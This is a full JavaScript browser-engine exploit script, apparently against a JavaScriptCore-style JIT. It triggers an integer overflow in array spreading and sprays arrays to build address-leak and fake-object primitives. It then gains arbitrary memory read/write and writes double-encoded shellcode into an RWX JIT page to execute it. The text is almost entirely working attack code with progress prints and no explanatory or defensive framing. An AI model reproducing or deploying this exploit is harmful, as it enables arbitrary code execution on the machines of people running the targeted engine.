function jitMe(array, reInitAllocator){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] } print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); } dummy = 0 let a = [] let len = 0x20000010 / 0x10 print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; } let b = []; b.length = 1; let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = [] print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 } // this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} } b.__defineGetter__(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice(); // helper arrays to do float and integer conversions let postTrigger = ` var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer) function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] } function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] } print("[+] Getting leakAddr and fakeObj primitives") let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1 badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH; function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); } function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = [] for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; } print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]}; // when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target) while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) } target[1] = 1.1 print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr) let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16)) function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) } print("[+] Got R/W primitive") var myJitAddr = leakAddr(jitMe) setTargetButterfly(myJitAddr+24) var ptr1 = f2i(target[0]) setTargetButterfly(ptr1+8) var ptr2 = f2i(target[2]) setTargetButterfly(ptr2-8) target[0]=1.1 setTargetButterfly(ptr2+16) var rwx = f2i(target[0]) print("[+] RWX address @ 0x" + rwx.toString(16)) setTargetButterfly(rwx) target[0] = 7.724899899490056e+228 target[1] = 1.3869658928112658e+219 target[2] = -1.4290575191402725e-37 target[3] = 1.0940812634921282e+189 target[4] = 2.0546950522151997e-81 target[5] = -1.416537102831749e-34 target[6] = 1.1467072576990874e+23 target[7] = 3.39834180316358e+78 target[8] = 1.5324871326e-314 target[9] = 3.173603568941646e+40 target[10]= 1.9656830452398213e-236 target[11]= -6.828527034422582e-229 print("[+] Executing Shellcode...") jitMe([13.37],[13.37]) ` eval(postTrigger)